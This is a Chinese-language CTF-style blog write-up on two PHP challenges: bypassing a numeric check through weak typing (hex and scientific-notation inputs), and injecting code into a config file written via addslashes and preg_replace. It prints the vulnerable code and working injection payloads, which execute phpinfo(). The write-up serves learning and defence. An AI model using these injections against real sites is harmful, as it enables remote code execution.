PHP-Challenge-1

0x01 弱类型

<?php
show_source(__FILE__);
$flag = "xxxx";
if(isset($_GET['time'])){ 
        if(!is_numeric($_GET['time'])){ 
                echo 'The time must be number.'; 
        }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){ 	//5184000
                        echo 'This time is too short.'; 
        }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){ 	//7776000
                        echo 'This time is too long.'; 
        }else{ 
                sleep((int)$_GET['time']); 
                echo $flag; 
        } 
                echo '<hr>'; 
}
?>

程序逻辑大致如下:

  1. 通过is_numeric判断time是否为数字
  2. 要求输入的time位于51840007776000之间
  3. 将输入的time转换为int并传入sleep()函数

如果真的将传入的time设置为上述的区间,那么程序的sleep()函数将会让我们一直等。

这里运用到PHP弱类型的性质就可以解决,is_numeric()函数支持十六进制字符串和科学记数法型字符串,而int强制转换下,会出现错误解析。

5184000 -> 0x4f1a00

因此第一种方法,我们可以传入?time=0x4f1a01

还有就是科学记数法类型的?time=5.184001e6,五秒钟还是可以等的。

0x02 配置文件写入问题

index.php

<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);

xxxxx/option.php

<?php
$option='test';
?>

程序逻辑大致如下:

  1. 将传入的option参数进行addslashes()字符串转义操作
  2. 通过正则将\(file**中的**test**改为**\)str的值
  3. 将修改后的值写入文件

这个问题是在p师傅的知识星球里面提出来的,CHY师傅整理出来的,这种情景通常出现在配置文件写入中。

方法一:换行符突破

?option=aaa';%0aphpinfo();//

经过addslashes()处理过后,$str = aaa\';%0aphpinfo();//

通过正则匹配过后写入文件,option.php的内容变为如下内容

<?php 
$option='aaa\';
phpinfo();//';
?>

可以看出后一个单引号被转义,所以单引号并没有被闭合,那么phpinfo就不能执行,所以再进行一次写入。

?option=xxx

再次进行正则匹配时候,则会将引号里面的替换为xxx,此时option.php内容如下:

<?php
$option='xxx';
phpinfo();//';
?>

这时候就可以执行phpinfo

方法二:preg_replace()的转义

?option=aaa\';phpinfo();//

addslashes()转换过后$str = aaa\\\';phpinfo();//

经过preg_replace()匹配过后,会对\进行转义处理,所以写入的信息如下:

<?php
$option='aaa\\';phpinfo();//';
?>

总结

Reference:

http://www.cnblogs.com/iamstudy/articles/config_file_write_vue.html

P师傅知识星球

不断的学习


PHP-Challenge-1
https://l1n.wang/2018/Web安全/PHP-Challenge-1/
作者
Lin Wang
发布于
2018年12月1日
许可协议